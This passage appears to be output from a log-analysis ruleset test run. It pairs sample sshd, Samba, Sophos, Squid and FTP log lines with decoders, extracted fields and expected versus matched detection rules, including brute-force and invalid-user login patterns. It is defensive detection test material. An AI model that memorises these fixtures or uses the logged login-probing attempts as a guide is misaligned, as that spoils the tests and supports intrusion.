(182.100.67.115[182.100.67.115]): USER root (Login failed): Incorrect password", "decoder": "proftpd", "parent": "proftpd", "fields": {}, "field_names": [], "rule": "11204", "level": "5", "expected_decoder": "proftpd", "expected_rule": "11204", "rule_matches_expected": true, "ini_file": "proftpd.ini", "section": "Login failed accessing the FTP server."} +{"log": "Dec 17 10:49:23 hostname rshd[347339]: Connection from 10.217.223.31 on illegal port", "decoder": "rshd", "parent": "", "fields": {"srcip": "10.217.223.31"}, "field_names": ["srcip"], "rule": "2551", "level": "10", "expected_decoder": "rshd", "expected_rule": "2551", "rule_matches_expected": true, "ini_file": "rsh.ini", "section": "rshd: illegal"} +{"log": "Dec 18 18:06:28 hostname smbd[832]: Denied connection from (192.168.3.23)", "decoder": "smbd", "parent": "smbd", "fields": {"srcip": "192.168.3.23"}, "field_names": ["srcip"], "rule": "13102", "level": "5", "expected_decoder": "smbd", "expected_rule": "13102", "rule_matches_expected": true, "ini_file": "samba.ini", "section": "samba: denied connect"} +{"log": "Dec 18 18:06:28 hostname smbd[832]: Denied connection from (192.168.3.23)", "decoder": "smbd", "parent": "smbd", "fields": {"srcip": "192.168.3.23"}, "field_names": ["srcip"], "rule": "13102", "level": "5", "expected_decoder": "smbd", "expected_rule": "13102", "rule_matches_expected": true, "ini_file": "samba.ini", "section": "samba: connect denied"} +{"log": "savscan.logINFOsavscanSAVSCAN-DETAILS %s %s %s %s %s %s0010826713100", "decoder": "sophos-win", "parent": "", "fields": {"bootrecords": "0", "category": "savscan.log", "domain": "savscan", "infected_files": "0", "level": "INFO", "mbootrecords": "0", "msg": "SAVSCAN-DETAILS %s %s %s %s %s %s", "scan_errors": "131", "scanned_files": "108267", "threads": "0", "time": "1558570140"}, "field_names": ["bootrecords", "category", "domain", "infected_files", "level", "mbootrecords", "msg", "scan_errors", "scanned_files", "threads", "time"], "rule": "64271", "level": "3", "expected_decoder": "sophos-win", "expected_rule": "64271", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos win: Notice message detected"} +{"log": "savscan.logINFOsavscanNOTIFY_ONDEMANDTHREAT_INFECTED %spath_file", "decoder": "sophos-win", "parent": "", "fields": {"category": "savscan.log", "domain": "savscan", "infected_file_path": "path_file", "level": "INFO", "msg": "NOTIFY_ONDEMANDTHREAT_INFECTED %s", "time": "1558572421"}, "field_names": ["category", "domain", "infected_file_path", "level", "msg", "time"], "rule": "64272", "level": "6", "expected_decoder": "sophos-win", "expected_rule": "64272", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos win: NOTIFY_ONDEMANDTHREAT_INFECTED alert"} +{"log": "savscan.logINFOsavscanSCANNER_DIED_KILLED", "decoder": "sophos-win", "parent": "", "fields": {"category": "savscan.log", "domain": "savscan", "level": "INFO", "msg": "SCANNER_DIED_KILLED", "time": "1558572421"}, "field_names": ["category", "domain", "level", "msg", "time"], "rule": "64273", "level": "6", "expected_decoder": "sophos-win", "expected_rule": "64273", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos win: SCANNER_DIED_KILLED alert"} +{"log": "update.checkINFOsavupdateNO_UPDATED_FROM %shttp://10.11.12.13/SophosUpdate/CIDs/S000/EESAVUNIX/SUNOS_9_SPARC", "decoder": "sophos-win", "parent": "", "fields": {"category": "update.check", "domain": "savupdate", "level": "INFO", "msg": "NO_UPDATED_FROM %s", "time": "1558572421"}, "field_names": ["category", "domain", "level", "msg", "time"], "rule": "64275", "level": "3", "expected_decoder": "sophos-win", "expected_rule": "64275", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos win: NO_UPDATED_FROM alert"} +{"log": "20160806 050000\tScan 'Sophos Cloud Scheduled Scan' started.", "decoder": "sophos", "parent": "", "fields": {}, "field_names": [], "rule": "82101", "level": "3", "expected_decoder": "sophos", "expected_rule": "82101", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos cloud: scheduled scan started"} +{"log": "20160806 052043\tScan 'Sophos Cloud Scheduled Scan' completed.", "decoder": "sophos", "parent": "", "fields": {}, "field_names": [], "rule": "82102", "level": "3", "expected_decoder": "sophos", "expected_rule": "82102", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos cloud: scheduled scan completed"} +{"log": "20160805 175034\tUser (NT AUTHORITY\\SYSTEM) has stopped on-access scanning for this machine.", "decoder": "sophos", "parent": "sophos", "fields": {"srcuser": "NT AUTHORITY\\SYSTEM"}, "field_names": ["srcuser"], "rule": "82104", "level": "3", "expected_decoder": "sophos", "expected_rule": "82104", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos av: on-access scanning stopped"} +{"log": "20160805 175143\tUsing detection data version 5.29 (detection engine 3.65.2). This version can detect 11628132 items.", "decoder": "sophos", "parent": "sophos", "fields": {"extra_data": "5.29"}, "field_names": ["extra_data"], "rule": "82105", "level": "3", "expected_decoder": "sophos", "expected_rule": "82105", "rule_matches_expected": true, "ini_file": "sophos.ini", "section": "sophos av: database updated"} +{"log": "1140701044.525 1231 192.168.1.201 TCP_DENIED/400 1536 GET ahmet - NONE/- text/html", "decoder": "squid-accesslog", "parent": "", "fields": {"action": "TCP_DENIED", "id": "400", "srcip": "192.168.1.201", "url": "ahmet"}, "field_names": ["action", "id", "srcip", "url"], "rule": "35003", "level": "5", "expected_decoder": "squid-accesslog", "expected_rule": "35003", "rule_matches_expected": true, "ini_file": "squid_rules.ini", "section": "Squid: Bad request/Invalid syntax"} +{"log": "1140701230.827 781 192.168.1.210 TCP_DENIED/407 1785 GET http://www.ossec.net oahmet NONE/- text/html", "decoder": "squid-accesslog", "parent": "", "fields": {"action": "TCP_DENIED", "id": "407", "srcip": "192.168.1.210", "url": "http://www.ossec.net"}, "field_names": ["action", "id", "srcip", "url"], "rule": "35007", "level": "5", "expected_decoder": "squid-accesslog", "expected_rule": "35007", "rule_matches_expected": true, "ini_file": "squid_rules.ini", "section": "Squid: Proxy Authentication Required"} +{"log": "Feb 9 11:44:56 someserver sshd[1234]: error: Could not stat AuthorizedKeysCommand \"/usr/local/sbin/ssh-ldap-authorized_keys\": No such file or directory", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5739", "level": "4", "expected_decoder": "sshd", "expected_rule": "5739", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD configuration error (AuthorizedKeysCommand)"} +{"log": "Feb 10 23:21:05 someserver sshd[1234]: Read error from remote host 192.168.1.1: Connection reset by peer", "decoder": "sshd", "parent": "sshd", "fields": {}, "field_names": [], "rule": "5740", "level": "4", "expected_decoder": "sshd", "expected_rule": "5740", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh connection reset by peer"} +{"log": "Feb 11 06:41:50 someserver sshd[1234]: debug1: channel 5: connection failed: Connection refused", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5741", "level": "4", "expected_decoder": "sshd", "expected_rule": "5741", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh connection refused"} +{"log": "Feb 12 17:45:09 someserver sshd[1234]: debug1: channel 3: connection failed: Connection timed out", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5742", "level": "4", "expected_decoder": "sshd", "expected_rule": "5742", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh connection timed out"} +{"log": "Jan 30 18:55:24 someserver sshd[1234]: debug1: channel 1: connection failed: No route to host", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5743", "level": "4", "expected_decoder": "sshd", "expected_rule": "5743", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh no route to host"} +{"log": "Feb 13 22:54:51 someserver sshd[1234]: debug1: server_input_channel_open: failure direct-tcpip", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5744", "level": "4", "expected_decoder": "sshd", "expected_rule": "5744", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh port forwarding issue"} +{"log": "Feb 6 12:28:17 someserver sshd[1234]: debug1: getpeername failed: Transport endpoint is not connected", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5745", "level": "4", "expected_decoder": "sshd", "expected_rule": "5745", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh transport endpoint is not connected"} +{"log": "Feb 6 12:28:17 someserver sshd[1234]: debug1: get_remote_port failed", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5746", "level": "4", "expected_decoder": "sshd", "expected_rule": "5746", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh get_remote_port failed"} +{"log": "Feb 4 23:05:57 someserver sshd[1234]: Disconnecting: bad client public DH value [preauth]", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5747", "level": "6", "expected_decoder": "sshd", "expected_rule": "5747", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh bad client public DH value"} +{"log": "Feb 4 23:05:57 someserver sshd[1234]: Disconnecting: bad client public DH value", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5747", "level": "6", "expected_decoder": "sshd", "expected_rule": "5747", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh bad client public DH value"} +{"log": "Feb 14 14:34:15 someserver sshd[1234]: Corrupted MAC on input. [preauth]", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5748", "level": "6", "expected_decoder": "sshd", "expected_rule": "5748", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh corrupted MAC on input"} +{"log": "Nov 22 19:24:55 server sshd[4046]: Corrupted MAC on input.", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5748", "level": "6", "expected_decoder": "sshd", "expected_rule": "5748", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh corrupted MAC on input"} +{"log": "Mar 4 13:34:59 someserver sshd[5396]: Bad packet length 4081586742. [preauth]", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5749", "level": "4", "expected_decoder": "sshd", "expected_rule": "5749", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh bad packet length"} +{"log": "Mar 4 13:34:59 someserver sshd[5396]: Bad packet length 4081586742.", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5749", "level": "4", "expected_decoder": "sshd", "expected_rule": "5749", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh bad packet length"} +{"log": "Mar 3 10:56:18 junction sshd[32065]: fatal: Unable to negotiate with 202.191.177.33 port 3579: no matching cipher found. Their offer: 3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "202.191.177.33", "srcport": "3579"}, "field_names": ["srcip", "srcport"], "rule": "5753", "level": "2", "expected_decoder": "sshd", "expected_rule": "5753", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh unable to negotiate"} +{"log": "Sep 16 05:46:56 junction sshd[1961]: fatal: Unable to negotiate with 108.229.36.174: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "108.229.36.174"}, "field_names": ["srcip"], "rule": "5752", "level": "2", "expected_decoder": "sshd", "expected_rule": "5752", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh no matching key exchange"} +{"log": "Apr 18 21:27:08 web2 sshd[23484]: fatal: Unable to negotiate a key exchange method [preauth]", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5752", "level": "2", "expected_decoder": "sshd", "expected_rule": "5752", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "ssh no matching key exchange"} +{"log": "2013-10-30T14:51:21.901728+01:00 srv sshd[12664]: Postponed keyboard-interactive for invalid user warez from 192.241.237.101 port 54197 ssh2 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "warez", "srcip": "192.241.237.101", "srcport": "54197"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "2013-10-30T14:51:30.267401+01:00 srv sshd[12671]: Invalid user opcione from 192.241.237.101", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "192.241.237.101", "srcuser": "opcione"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "2020-03-23 06:47:42.801612-0700 localhost sshd[3186]: error: PAM: unknown user for illegal user badguy from 192.168.33.1", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "badguy", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "2020-03-25 08:01:34.584936-0700 localhost sshd[1551]: Failed keyboard-interactive/pam for invalid user user from 172.18.1.1 port 32982 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.1", "srcport": "32982"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "2013-10-30T14:51:24.140565+01:00 srv sshd[12664]: Failed keyboard-interactive/pam for invalid user warez from 192.241.237.101 port 54197 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "warez", "srcip": "192.241.237.101", "srcport": "54197"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "2020-03-23 08:14:02.777660-0700 localhost sshd[8981]: error: PAM: authentication error for illegal user badguy from 192.168.33.1", "decoder": "sshd", "parent": "sshd", "fields": {}, "field_names": [], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "Jul 3 21:44:07 vmi189193 sshd[26279]: Failed password for invalid user sammy from 82.202.219.155 port 51676 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "82.202.219.155", "srcuser": "sammy"}, "field_names": ["srcip", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "invalid user"} +{"log": "May 4 17:48:43 collectd sshd[15044]: pam_systemd(sshd:session): Failed to create session: Access denied", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5754", "level": "1", "expected_decoder": "sshd", "expected_rule": "5754", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "failed to create session"} +{"log": "May 4 18:30:04 collectd sshd[15191]: Authentication refused: bad ownership or modes for file /home/ansible/.ssh/authorized_keys", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5755", "level": "3", "expected_decoder": "sshd", "expected_rule": "5755", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "bad authorized_keys"} +{"log": "May 5 05:00:38 junction sshd[28395]: subsystem request for netconf by user checker failed, subsystem not found", "decoder": "sshd", "parent": "", "fields": {}, "field_names": [], "rule": "5756", "level": "0", "expected_decoder": "sshd", "expected_rule": "5756", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "subsystem failed"} +{"log": "Aug 18 07:30:25 192.168.1.5 sshd[20247]: [ID 800047 auth.notice] Failed none for root from 192.168.1.1 port 36942 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.1.1", "srcport": "36942"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5716", "level": "5", "expected_decoder": "sshd", "expected_rule": "5716", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "login failed"} +{"log": "Oct 20 12:33:07 ar-agent sshd[3433]: Address 192.168.18.54 maps to nmap.18.168.192.in-addr.arpa, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "192.168.18.54"}, "field_names": ["srcip"], "rule": "5757", "level": "0", "expected_decoder": "sshd", "expected_rule": "5757", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "bad dns"} +{"log": "2020-03-25 09:01:30.852002-0700 localhost sshd[11885]: Address 192.168.33.1 maps to hostname, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "192.168.33.1"}, "field_names": ["srcip"], "rule": "5757", "level": "0", "expected_decoder": "sshd", "expected_rule": "5757", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "bad dns"} +{"log": "Dec 27 03:23:51 r1 sshd[21183]: error: maximum authentication attempts exceeded for root from 183.106.179.x port 34100 ssh2 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "183.106.179.x", "srcport": "34100"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5758", "level": "8", "expected_decoder": "sshd", "expected_rule": "5758", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "max auth attempts"} +{"log": "2020-03-23 08:14:32.766049-0700 localhost sshd[8981]: error: maximum authentication attempts exceeded for invalid user badguy from 192.168.33.1 port 55146 ssh2 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {}, "field_names": [], "rule": "5758", "level": "8", "expected_decoder": "sshd", "expected_rule": "5758", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "max auth attempts"} +{"log": "2020-03-23 09:58:27.102292-0700 localhost sshd[18093]: error: maximum authentication attempts exceeded for user from 192.168.33.1 port 55764 ssh2 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "192.168.33.1", "srcport": "55764"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5758", "level": "8", "expected_decoder": "sshd", "expected_rule": "5758", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "max auth attempts"} +{"log": "2020-03-23 09:55:42.391078-0700 localhost sshd[17329]: error: PAM: authentication error for user from 192.168.33.1", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5760", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Authentication error"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5760", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Authentication error"} +{"log": "2020-03-24 06:07:15.245255-0700 localhost sshd[195]: Connection closed by 10.0.2.2 port 55462 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "10.0.2.2", "srcport": "55462"}, "field_names": ["srcip", "srcport"], "rule": "5722", "level": "0", "expected_decoder": "sshd", "expected_rule": "5722", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Connection close"} +{"log": "2020-03-24 08:38:47.230409-0700 localhost sshd[2531]: Disconnected from user user 172.18.1.100 port 43042", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.100", "srcport": "43042", "srcuser": "user"}, "field_names": ["srcip", "srcport", "srcuser"], "rule": "5761", "level": "0", "expected_decoder": "sshd", "expected_rule": "5761", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Disconnected from"} +{"log": "2020-03-24 08:38:47.230409-0700 localhost sshd[2531]: Disconnected from invalid user root 172.18.1.100 port 43042", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.100", "srcport": "43042", "srcuser": "root"}, "field_names": ["srcip", "srcport", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Disconnected from invalid"} +{"log": "2020-03-24 08:38:47.230409-0700 localhost sshd[2531]: Disconnecting invalid user root 172.18.1.100 port 43042", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.100", "srcport": "43042", "srcuser": "root"}, "field_names": ["srcip", "srcport", "srcuser"], "rule": "5710", "level": "5", "expected_decoder": "sshd", "expected_rule": "5710", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD Disconnecting invalid"} +{"log": "2020-03-24 10:32:31.672920-0700 localhost sshd[5374]: Did not receive identification string from 172.18.1.1 port 45824", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.1", "srcport": "45824"}, "field_names": ["srcip", "srcport"], "rule": "5706", "level": "6", "expected_decoder": "sshd", "expected_rule": "5706", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD insecure connection attempt"} +{"log": "2020-03-25 08:23:20.933154-0700 localhost sshd[9265]: Connection reset by authenticating user user 192.168.33.1 port 51772 [preauth]", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "192.168.33.1", "srcport": "51772"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5762", "level": "4", "expected_decoder": "sshd", "expected_rule": "5762", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD: connection reset"} +{"log": "2020-03-25 07:46:15.205351-0700 localhost sshd[6738]: User root from 192.168.33.1 not allowed because not listed in AllowUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5718", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD: denied user"} +{"log": "2020-03-31 13:15:57.368975-0700 localhost sshd[2440]: User root from 172.18.1.100 not allowed because listed in DenyUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "172.18.1.100"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5718", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD: denied user"} +{"log": "2020-03-25 07:46:15.205351-0700 localhost sshd[6738]: User root from 192.168.33.1 not allowed because not listed in AllowUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-31 13:15:57.368975-0700 localhost sshd[2440]: User root from 172.18.1.100 not allowed because listed in DenyUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "172.18.1.100"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-25 07:46:15.205351-0700 localhost sshd[6738]: User root from 192.168.33.1 not allowed because not listed in AllowUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-31 13:15:57.368975-0700 localhost sshd[2440]: User root from 172.18.1.100 not allowed because listed in DenyUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "172.18.1.100"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-25 07:46:15.205351-0700 localhost sshd[6738]: User root from 192.168.33.1 not allowed because not listed in AllowUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-31 13:15:57.368975-0700 localhost sshd[2440]: User root from 172.18.1.100 not allowed because listed in DenyUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "172.18.1.100"}, "field_names": ["dstuser", "srcip"], "rule": "5719", "level": "10", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-25 07:46:15.205351-0700 localhost sshd[6738]: User root from 192.168.33.1 not allowed because not listed in AllowUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "192.168.33.1"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-31 13:15:57.368975-0700 localhost sshd[2440]: User root from 172.18.1.100 not allowed because listed in DenyUsers", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "root", "srcip": "172.18.1.100"}, "field_names": ["dstuser", "srcip"], "rule": "5718", "level": "5", "expected_decoder": "sshd", "expected_rule": "5719", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd: Multiple access attempts using a denied user"} +{"log": "2020-03-25 09:18:41.510217-0700 localhost sshd[2549]: reverse mapping checking getaddrinfo for hostname [172.18.1.1] failed - POSSIBLE BREAK.", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.1"}, "field_names": ["srcip"], "rule": "5702", "level": "5", "expected_decoder": "sshd", "expected_rule": "5702", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD: Reverse lookup error"} +{"log": "2020-03-25 06:37:50.176931-0700 localhost sshd[852]: Bad protocol version identification 'ls' from 172.18.1.1 port 59920", "decoder": "sshd", "parent": "sshd", "fields": {"srcip": "172.18.1.1", "srcport": "59920"}, "field_names": ["srcip", "srcport"], "rule": "5701", "level": "8", "expected_decoder": "sshd", "expected_rule": "5701", "rule_matches_expected": true, "ini_file": "sshd.ini", "section": "SSHD: possible attack"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5760", "level": "5", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": false, "ini_file": "sshd.ini", "section": "sshd brute force rule"} +{"log": "2020-03-24 08:38:42.344447-0700 localhost sshd[2519]: Failed password for user from 172.18.1.100 port 43042 ssh2", "decoder": "sshd", "parent": "sshd", "fields": {"dstuser": "user", "srcip": "172.18.1.100", "srcport": "43042"}, "field_names": ["dstuser", "srcip", "srcport"], "rule": "5763", "level": "10", "expected_decoder": "sshd", "expected_rule": "5763", "rule_matches_expected": 